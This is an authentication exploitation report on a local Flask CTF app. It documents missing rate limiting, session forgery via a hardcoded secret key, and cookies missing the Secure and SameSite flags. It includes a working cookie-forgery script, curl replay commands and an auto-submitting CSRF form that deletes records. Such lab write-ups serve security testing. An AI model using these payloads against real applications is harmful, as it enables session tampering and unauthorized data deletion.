# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-04: Missing Rate Limiting on All Endpoints

**Summary:**
- **Vulnerable location:** All application endpoints (POST /add_url, POST /delete_url/<id>, GET /)
- **Overview:** The application implements zero rate limiting controls, allowing unlimited rapid requests to all endpoints without throttling or blocking.
- **Impact:** Enables brute-force attacks, resource exhaustion, mass data deletion, and unlimited exploitation of other vulnerabilities (command injection, IDOR) without detection.
- **Severity:** High

**Prerequisites:** None - publicly accessible endpoints

**Exploitation Steps:**

1. **Test rate limiting on POST /add_url endpoint:**
   ```bash
   # Run the automated rate limit test
   python3 rate_limit_test.py
   ```
   
   Expected behavior with rate limiting: Requests throttled after threshold
   Actual behavior: All 100 requests completed successfully

2. **Test rate limiting on POST /delete_url/<id> endpoint:**
   ```bash
   # Run the delete endpoint rate limit test  
   python3 test_rate_limiting.py
   ```
   
   Expected behavior with rate limiting: Requests blocked after threshold
   Actual behavior: All 100 deletion requests processed without restriction

**Proof of Impact:**

**Test 1 - /add_url endpoint:**
- **Total Requests:** 100
- **Success Rate:** 100% (100/100 requests succeeded)
- **Total Duration:** 0.38 seconds
- **Request Rate:** 261.23 requests per second
- **Status Codes:** All HTTP 200
- **Throttling Detected:** None (no 429 status codes)

**Test 2 - /delete_url/<id> endpoint:**
- **Total Requests:** 100 (IDs 1-100)
- **Success Rate:** 100% (100/100 requests completed)
- **Total Duration:** 0.24 seconds
- **Request Rate:** 413.21 requests per second
- **Status Codes:** 302 (deleted), 404 (not found) - all processed
- **Throttling Detected:** None

**Real-World Attack Scenario:**
An attacker can:
- Send thousands of command injection attempts per minute via /add_url
- Enumerate and delete entire URL database via /delete_url/1, /delete_url/2, etc.
- Launch denial-of-service by flooding endpoints with requests
- Perform attacks without cooldown periods or account lockouts

**Notes:** 
This vulnerability directly amplifies the impact of other security issues by removing the time-based defense barrier that would normally slow down or prevent automated exploitation attempts.

---

### AUTH-VULN-02: Session Forgery via Hardcoded Weak Secret Key

**Summary:**
- **Vulnerable location:** Application-wide session management (app.py line 6: `app.secret_key = 'YourSecretKey'`)
- **Overview:** The Flask secret key is hardcoded with a weak placeholder value 'YourSecretKey', enabling complete forgery of session cookies.
- **Impact:** Anyone with knowledge of the secret key can forge arbitrary session data, manipulate flash messages, and bypass any session-based security controls.
- **Severity:** High (would be Critical if authentication existed)

**Prerequisites:** 
- Knowledge of the hardcoded secret key 'YourSecretKey' (publicly visible in source code)
- Python with Flask and itsdangerous libraries

**Exploitation Steps:**

1. **Install required libraries:**
   ```bash
   pip3 install flask itsdangerous
   ```

2. **Create a session forgery script:**
   ```python
   from flask import Flask
   from flask.sessions import SecureCookieSessionInterface
   
   app = Flask(__name__)
   app.secret_key = 'YourSecretKey'  # Known weak secret
   
   # Create session interface
   serializer = SecureCookieSessionInterface().get_signing_serializer(app)
   
   # Forge arbitrary session data
   forged_session = {
       '_flashes': [['warning', 'This is a forged session message!']]
   }
   
   # Sign the forged session
   forged_cookie = serializer.dumps(forged_session)
   print(f"Forged Cookie: {forged_cookie}")
   ```

3. **Use the forged cookie in a request:**
   ```bash
   curl -H "Cookie: session=[FORGED_COOKIE_VALUE]" http://localhost:5094/
   ```

4. **Verify the application accepts the forged session:**
   Check the response for the forged flash message appearing in the rendered HTML

**Proof of Impact:**

**Forged Session Example:**
```
Cookie: session=eyJfZmxhc2hlcyI6W1sid2FybmluZyIsIlRoaXMgaXMgYSBmb3JnZWQgc2Vzc2lvbiBtZXNzYWdlISJdXX0.aQKmqQ.zRQgSuDCc09Sn0Qfon_uYisWRnY
```

**Application Response:**
- Status Code: HTTP 200 OK
- Forged flash message displayed in browser: "⚠️ This is a forged session message!"
- Application accepted the forged cookie as valid

**Demonstration Scripts:**
- `session_forgery_exploit.py` - Basic forgery
- `session_forgery_detailed.py` - Comprehensive analysis
- `session_forgery_visual_demo.py` - Visual proof with screenshot

**Screenshot Evidence:**
- Saved at: `.playwright-mcp/forged_session_proof.png`
- Shows forged warning message displayed in application UI

**Impact Analysis:**
- **Current Impact:** Medium - Sessions only store flash messages (no authentication state)
- **Potential Impact:** Critical - If authentication were added and sessions stored user identity, this would enable complete authentication bypass and user impersonation

**Notes:** 
The weak secret key 'YourSecretKey' is a placeholder value that should never be used in production. This enables cryptographic forgery attacks against all session-based security mechanisms.

---

### AUTH-VULN-01: Session Cookies Transmitted Over HTTP Without Security Flags

**Summary:**
- **Vulnerable location:** All endpoints that set session cookies (session management layer)
- **Overview:** Session cookies lack the Secure flag and SameSite protection, allowing transmission over unencrypted HTTP and enabling CSRF attacks.
- **Impact:** Session cookies can be intercepted via network eavesdropping when transmitted over HTTP, and are vulnerable to cross-site request forgery attacks.
- **Severity:** Medium (High in production environments with sensitive data)

**Prerequisites:** 
- Application running on HTTP (AUTH-VULN-03 enables this)
- Network position for traffic interception (same WiFi, compromised router, etc.) - OR -
- Ability to trigger cross-site requests for CSRF attacks

**Exploitation Steps:**

1. **Trigger a session cookie by performing an action that creates a flash message:**
   ```bash
   curl -v -X POST http://localhost:5094/delete_url/1 2>&1 | grep "Set-Cookie"
   ```

2. **Analyze the Set-Cookie header for security flags:**
   ```bash
   python3 cookie_security_analyzer.py
   ```

3. **Verify the cookie is transmitted over HTTP:**
   ```bash
   curl -v http://localhost:5094/ -H "Cookie: session=[CAPTURED_SESSION_COOKIE]"
   ```

4. **Confirm the application accepts the cookie over HTTP (no HTTPS enforcement):**
   Status code should be HTTP 200 OK, proving the session works over unencrypted connection

**Proof of Impact:**

**Raw Set-Cookie Header:**
```
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlVSTCBkZWxldGVkIHN1Y2Nlc3NmdWxseSEiXX1dfQ.aQKlgQ.HsZvQ_L66ZCTeASJQMVOWvhXj2g; HttpOnly; Path=/
```

**Security Flags Analysis:**
- ❌ **Secure flag:** NOT SET (allows HTTP transmission)
- ✅ **HttpOnly flag:** PRESENT (protects from JavaScript access)
- ❌ **SameSite flag:** NOT SET (no CSRF protection)

**HTTP Transmission Test:**
```bash
# Send request over HTTP with session cookie
curl -v http://localhost:5094/ -H "Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlVSTCBkZWxldGVkIHN1Y2Nlc3NmdWxseSEiXX1dfQ.aQKlgQ.HsZvQ_L66ZCTeASJQMVOWvhXj2g"

# Result: HTTP 200 OK - Cookie accepted over unencrypted HTTP
```

**Vulnerability Confirmation:**
- ✅ Session cookies transmitted over HTTP protocol
- ✅ No Secure flag present (verified in Set-Cookie header)
- ✅ No SameSite protection (verified in Set-Cookie header)
- ✅ Application accepts cookies over HTTP (no HTTPS enforcement)

**Testing Scripts:**
- `cookie_security_analyzer.py` - Automated flag analysis
- `complete_cookie_test.py` - Full exploitation test
- `session_cookie_security_report.py` - Detailed report

**Attack Scenarios:**

**Scenario 1: Network Interception (requires AUTH-VULN-03)**
- Attacker on same WiFi network runs tcpdump/Wireshark
- Victim accesses http://localhost:5094
- Session cookie transmitted in plaintext HTTP headers
- Attacker captures cookie value
- Attacker replays cookie to hijack victim's session

**Scenario 2: CSRF Attack (due to missing SameSite)**
- Attacker creates malicious website with form:
  ```html
  <form action="http://localhost:5094/delete_url/1" method="POST">
    <input type="submit" value="Click here!">
  </form>
  <script>document.forms[0].submit();</script>
  ```
- Victim with active session visits malicious site
- Browser sends session cookie with cross-origin request (no SameSite protection)
- Victim's URLs are deleted without their knowledge

**Notes:** 
This vulnerability is enabled by AUTH-VULN-03 (HTTP-only deployment). The missing Secure flag only becomes exploitable because the application accepts HTTP connections. Together, these create a session hijacking vulnerability.

---

## Summary

**Total Vulnerabilities Exploited:** 3
- 1 High severity: Missing rate limiting (active exploitation)
- 1 High severity: Session forgery (active exploitation)  
- 1 Medium severity: Insecure cookie configuration (active exploitation)

**Key Findings:**
1. All authentication-related vulnerabilities have been successfully exploited
2. No authentication system exists, limiting the impact of session-based vulnerabilities
3. Missing rate limiting is the most immediately exploitable finding, enabling unlimited abuse
4. Session security weaknesses (AUTH-VULN-01, AUTH-VULN-02) would become CRITICAL if authentication were added

**Context:**
This is a CTF challenge application with no authentication system. The vulnerabilities documented represent real security weaknesses that would have severe impact in a production application with user authentication.